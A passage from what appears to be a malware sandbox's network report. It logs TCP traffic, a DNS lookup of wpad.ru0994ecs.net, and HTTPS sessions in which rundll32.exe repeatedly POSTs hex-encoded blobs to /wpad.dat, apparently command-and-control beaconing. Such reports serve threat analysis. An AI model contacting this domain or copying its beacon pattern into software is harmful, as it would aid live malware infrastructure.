Apr 16, 2024 15:38:05.267621994 CEST	49878	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.267635107 CEST	443	49878	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.441009045 CEST	443	49877	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.441122055 CEST	49877	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.441709042 CEST	49877	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.441744089 CEST	443	49877	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.443350077 CEST	49877	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.443372965 CEST	443	49877	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.489959002 CEST	443	49878	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.490221977 CEST	49878	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.490844011 CEST	49878	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.490854025 CEST	443	49878	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.492316961 CEST	49878	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.492321968 CEST	443	49878	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.789280891 CEST	443	49877	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.789488077 CEST	443	49877	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.789630890 CEST	49877	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.789695978 CEST	49877	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.789937019 CEST	49877	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.789975882 CEST	443	49877	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.796600103 CEST	443	49878	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.796688080 CEST	49878	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.796710968 CEST	443	49878	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.796756983 CEST	49878	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.796757936 CEST	443	49878	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:05.796921015 CEST	49878	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.797020912 CEST	49878	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:05.797035933 CEST	443	49878	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:06.796755075 CEST	49879	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:06.796794891 CEST	443	49879	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:06.796951056 CEST	49879	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:06.797148943 CEST	49879	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:06.797159910 CEST	443	49879	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:06.811805010 CEST	49880	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:06.811825037 CEST	443	49880	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:06.811892986 CEST	49880	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:06.812144041 CEST	49880	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:06.812158108 CEST	443	49880	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.016643047 CEST	443	49879	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.016858101 CEST	49879	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.017298937 CEST	49879	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.017323971 CEST	443	49879	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.018919945 CEST	49879	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.018945932 CEST	443	49879	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.039349079 CEST	443	49880	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.039436102 CEST	49880	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.041110039 CEST	49880	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.041115046 CEST	443	49880	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.042999983 CEST	49880	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.043004036 CEST	443	49880	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.376187086 CEST	443	49879	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.376296043 CEST	49879	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.376312017 CEST	443	49879	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.376351118 CEST	443	49879	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.376386881 CEST	49879	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.376487017 CEST	49879	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.376487017 CEST	49879	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.382755041 CEST	443	49880	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.382821083 CEST	49880	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.382829905 CEST	443	49880	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.382910967 CEST	443	49880	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.382920027 CEST	49880	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.382951975 CEST	49880	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.383203030 CEST	49880	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.383217096 CEST	443	49880	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:07.680943966 CEST	49879	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:07.680955887 CEST	443	49879	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:09.421998978 CEST	49881	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:09.422092915 CEST	443	49881	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:09.422199011 CEST	49881	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:09.422452927 CEST	49881	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:09.422482014 CEST	443	49881	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:09.645679951 CEST	443	49881	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:09.645834923 CEST	49881	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:09.646325111 CEST	49881	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:09.646352053 CEST	443	49881	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:09.648133039 CEST	49881	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:09.648145914 CEST	443	49881	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:09.993969917 CEST	443	49881	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:09.994067907 CEST	49881	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:09.994128942 CEST	443	49881	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:09.994163036 CEST	443	49881	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:09.994195938 CEST	49881	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:09.994225025 CEST	49881	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:09.994313955 CEST	49881	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:09.994347095 CEST	443	49881	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.393337965 CEST	49882	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.393342972 CEST	49883	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.393383026 CEST	443	49882	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.393383026 CEST	443	49883	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.393517971 CEST	49882	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.393824100 CEST	49883	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.393824100 CEST	49883	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.393866062 CEST	443	49883	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.393893003 CEST	49882	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.393904924 CEST	443	49882	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.614620924 CEST	443	49883	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.614687920 CEST	49883	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.615212917 CEST	49883	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.615227938 CEST	443	49883	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.616991997 CEST	443	49882	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.617085934 CEST	49882	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.617518902 CEST	49883	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.617535114 CEST	443	49883	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.618043900 CEST	49882	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.618050098 CEST	443	49882	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.620138884 CEST	49882	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.620143890 CEST	443	49882	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.914051056 CEST	443	49883	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.914202929 CEST	443	49883	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:10.914271116 CEST	49883	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.914271116 CEST	49883	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.914418936 CEST	49883	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:10.914446115 CEST	443	49883	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:11.000809908 CEST	443	49882	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:11.000895977 CEST	49882	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:11.000921965 CEST	443	49882	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:11.000966072 CEST	49882	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:11.000967026 CEST	443	49882	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:11.001018047 CEST	49882	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:11.001153946 CEST	49882	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:11.001168013 CEST	443	49882	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:12.014988899 CEST	49884	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:12.015041113 CEST	443	49884	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:12.015108109 CEST	49884	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:12.015388012 CEST	49884	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:12.015408993 CEST	443	49884	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:12.240376949 CEST	443	49884	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:12.240571022 CEST	49884	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:12.241106987 CEST	49884	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:12.241139889 CEST	443	49884	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:12.243367910 CEST	49884	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:12.243381977 CEST	443	49884	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:12.634691954 CEST	443	49884	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:12.634768963 CEST	443	49884	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:12.634845972 CEST	49884	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:12.634845972 CEST	49884	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:12.635121107 CEST	49884	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:12.635165930 CEST	443	49884	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:15.923501968 CEST	49885	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:15.923599005 CEST	443	49885	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:15.923695087 CEST	49885	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:15.923984051 CEST	49885	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:15.924025059 CEST	443	49885	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.003144979 CEST	49886	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.003211975 CEST	443	49886	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.003288984 CEST	49886	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.003511906 CEST	49886	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.003534079 CEST	443	49886	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.147113085 CEST	443	49885	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.147326946 CEST	49885	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.147855043 CEST	49885	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.147881985 CEST	443	49885	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.149990082 CEST	49885	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.150002956 CEST	443	49885	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.226686001 CEST	443	49886	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.226800919 CEST	49886	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.227199078 CEST	49886	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.227226019 CEST	443	49886	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.228684902 CEST	49886	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.228698969 CEST	443	49886	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.506907940 CEST	443	49885	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.507021904 CEST	49885	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.507082939 CEST	443	49885	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.507128000 CEST	443	49885	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.507147074 CEST	49885	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.507179022 CEST	49885	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.507307053 CEST	49885	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.507339001 CEST	443	49885	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.579359055 CEST	443	49886	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.579525948 CEST	443	49886	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.579735041 CEST	49886	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.579819918 CEST	49886	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.579859972 CEST	443	49886	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.661802053 CEST	49887	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.661840916 CEST	443	49887	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.661912918 CEST	49887	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.662132978 CEST	49887	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.662143946 CEST	443	49887	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.881779909 CEST	443	49887	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.882070065 CEST	49887	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.882587910 CEST	49887	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.882600069 CEST	443	49887	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:16.884521961 CEST	49887	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:16.884527922 CEST	443	49887	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:17.229391098 CEST	443	49887	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:17.229471922 CEST	49887	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:17.229504108 CEST	443	49887	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:17.229538918 CEST	443	49887	104.21.62.151	192.168.2.8
Apr 16, 2024 15:38:17.229594946 CEST	49887	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:17.229713917 CEST	49887	443	192.168.2.8	104.21.62.151
Apr 16, 2024 15:38:17.229724884 CEST	443	49887	104.21.62.151	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 16, 2024 15:35:17.158390045 CEST	59928	53	192.168.2.8	1.1.1.1
Apr 16, 2024 15:35:17.293550014 CEST	53	59928	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 16, 2024 15:35:17.158390045 CEST	192.168.2.8	1.1.1.1	0x5a96	Standard query (0)	wpad.ru0994ecs.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 16, 2024 15:35:17.293550014 CEST	1.1.1.1	192.168.2.8	0x5a96	No error (0)	wpad.ru0994ecs.net		104.21.62.151	A (IP address)	IN (0x0001)	false
Apr 16, 2024 15:35:17.293550014 CEST	1.1.1.1	192.168.2.8	0x5a96	No error (0)	wpad.ru0994ecs.net		172.67.136.183	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

wpad.ru0994ecs.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:17 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 540 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:17 UTC	540	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 61 65 35 39 39 65 63 61 32 34 30 61 31 32 64 33 33 33 64 62 32 32 61 61 63 63 64 37 34 32 37 36 65 31 36 62 37 35 64 65 65 34 64 36 33 31 61 31 36 65 34 35 63 62 35 32 61 30 66 62 32 39 37 39 36 66 33 61 63 64 39 62 31 65 36 31 39 62 36 39 66 65 65 32 61 35 32 62 64 33 35 34 34 65 65 39 33 37 64 31 36 32 63 32 61 33 39 31 65 31 62 38 33 30 65 38 64 64 35 32 62 31 34 62 36 35 64 32 65 36 38 63 34 32 39 34 38 38 38 31 65 33 37 63 39 32 61 61 62 35 65 35 37 65 35 64 31 31 39 33 62 38 39 37 65 65 33 34 37 61 62 62 31 35 64 64 65 63 31 32 31 39 31 64 66 64 34 38 31 34 32 65 64 61 32 66 61 62 66 35 66 62 61 39 65 35 34 61 63 35 37 62 66 66 39 63 34 61 38 37 63 35 64 Data Ascii: 6e79cca458791cc084479c3b18404b87ae599eca240a12d333db22aaccd74276e16b75dee4d631a16e45cb52a0fb29796f3acd9b1e619b69fee2a52bd3544ee937d162c2a391e1b830e8dd52b14b65d2e68c42948881e37c92aab5e57e5d1193b897ee347abb15ddec12191dfd48142eda2fabf5fba9e54ac57bff9c4a87c5d
2024-04-16 13:35:17 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lczRnQLUvsblqckPXtzuaiVVNcoT5u1LveVLHfcaDhHriJ50TzmG%2B6Orw0p8DuaLe8%2F7JrFciBK59G1u6OeckG2hUF7FJ3fTHaGZQoboomXzXgwjAS46aB%2F51jSz23dLK%2BzTi%2FQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ec7cc2b8bbb-ATL
2024-04-16 13:35:17 UTC	58	IN	Data Raw: 33 34 0d 0a 64 33 61 65 2b 52 30 48 65 76 61 52 46 4b 38 48 4d 53 63 35 37 64 6f 37 6e 38 46 58 43 42 62 54 52 4c 78 62 32 62 69 78 56 32 69 56 56 78 65 70 75 65 38 47 0d 0a Data Ascii: 34d3ae+R0HevaRFK8HMSc57do7n8FXCBbTRLxb2bixV2iVVxepue8G
2024-04-16 13:35:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:17 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 540 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:17 UTC	540	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 61 65 35 39 39 65 63 61 32 34 30 61 31 32 64 33 33 33 64 62 32 32 61 61 63 63 64 37 34 32 37 36 65 31 36 62 37 35 64 65 65 34 64 36 33 31 61 31 36 65 34 35 63 62 35 32 61 30 66 62 32 39 37 39 36 66 33 61 63 64 39 62 31 65 36 31 39 62 36 39 66 65 65 32 61 35 32 62 64 33 35 34 34 65 65 39 33 37 64 31 36 32 63 32 61 33 39 31 65 31 62 38 33 30 65 38 64 64 35 32 62 31 34 62 36 35 64 32 65 36 38 63 34 32 39 34 38 38 38 31 65 33 37 63 39 32 61 61 62 35 65 35 37 65 35 64 31 31 39 33 62 38 39 37 65 65 33 34 37 61 62 62 31 35 64 64 65 63 31 32 31 39 31 64 66 64 34 38 31 34 32 65 64 61 32 66 61 62 66 35 66 62 61 39 65 35 34 61 63 35 37 62 66 66 39 63 34 61 38 37 63 35 64 Data Ascii: 6e79cca458791cc084479c3b18404b87ae599eca240a12d333db22aaccd74276e16b75dee4d631a16e45cb52a0fb29796f3acd9b1e619b69fee2a52bd3544ee937d162c2a391e1b830e8dd52b14b65d2e68c42948881e37c92aab5e57e5d1193b897ee347abb15ddec12191dfd48142eda2fabf5fba9e54ac57bff9c4a87c5d
2024-04-16 13:35:17 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:17 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nq9LN2tCGNRdTASeoxHz40ycma8u9Dk0HvTLJpHaJe8Hf%2BZIWioeE2TXyXOjtY0h7R2KvA%2Bl0%2BYcMVSc7L4m12zYXd4OZDu0UN1VXXXCCylxmAWC2qCxO%2F3r7RT%2FmJu%2F4ShvFzc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ec7c87144f6-ATL
2024-04-16 13:35:17 UTC	58	IN	Data Raw: 33 34 0d 0a 64 33 61 65 2b 52 77 48 65 76 2f 75 59 39 39 33 4f 53 55 32 37 4b 46 48 36 37 35 66 46 47 79 6a 53 61 51 39 72 37 62 56 51 6e 50 30 55 52 57 78 75 5a 55 59 0d 0a Data Ascii: 34d3ae+RwHev/uY993OSU27KFH675fFGyjSaQ9r7bVQnP0URWxuZUY
2024-04-16 13:35:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49707	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:18 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:18 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 30 31 62 30 31 61 62 34 36 64 62 32 66 61 36 62 62 61 35 35 63 37 36 66 36 32 35 31 35 62 62 62 38 65 64 31 65 65 30 37 39 32 61 38 32 34 37 38 61 66 35 30 34 34 65 35 34 31 65 61 31 66 34 30 63 31 35 66 61 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf501b01ab46db2fa6bba55c76f62515bbb8ed1ee0792a82478af5044e541ea1f40c15fa73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:18 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v050%2FgWMwtGV2sR6nxJGxb6VrNbmfeoG%2FFQvzv6%2FcP4gswZ8bWOmwTUsoDKUHvvGaUrExwJnsoINi%2FI8xxMW3ab3LS4zB1eeEb1UjsJzPJuHQhhaJJDwFv6ZPDyM7X9cZ3qjRjo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ecbab4844dc-ATL
2024-04-16 13:35:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49708	104.21.62.151	443	7728	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:18 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 13:35:18 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 32 62 66 35 31 31 62 30 31 61 32 33 39 61 63 35 66 64 36 62 33 61 37 35 33 37 37 38 64 35 39 36 31 63 34 62 30 66 31 36 34 39 30 37 34 33 32 65 34 33 31 38 34 39 31 31 31 35 35 33 35 31 38 61 33 65 63 30 63 36 66 65 34 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e2bf511b01a239ac5fd6b3a753778d5961c4b0f164907432e431849111553518a3ec0c6fe473b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 13:35:18 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 13:35:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6B8IziUYD%2FyjE6DS%2BEl%2FiA16afmT6R4NT%2BYlqYtvpUeTKGZOE470bAuPZ35fHYP8G6uFCoFgPoM8oaCxVOYbKzBtiXNhs6nxG%2FXlAnGgv8lGdyrwws2qOIH7ivGdmEh%2F04RtnaU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87548ecbecf84588-ATL
2024-04-16 13:35:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49709	104.21.62.151	443	7744	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 13:35:18 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
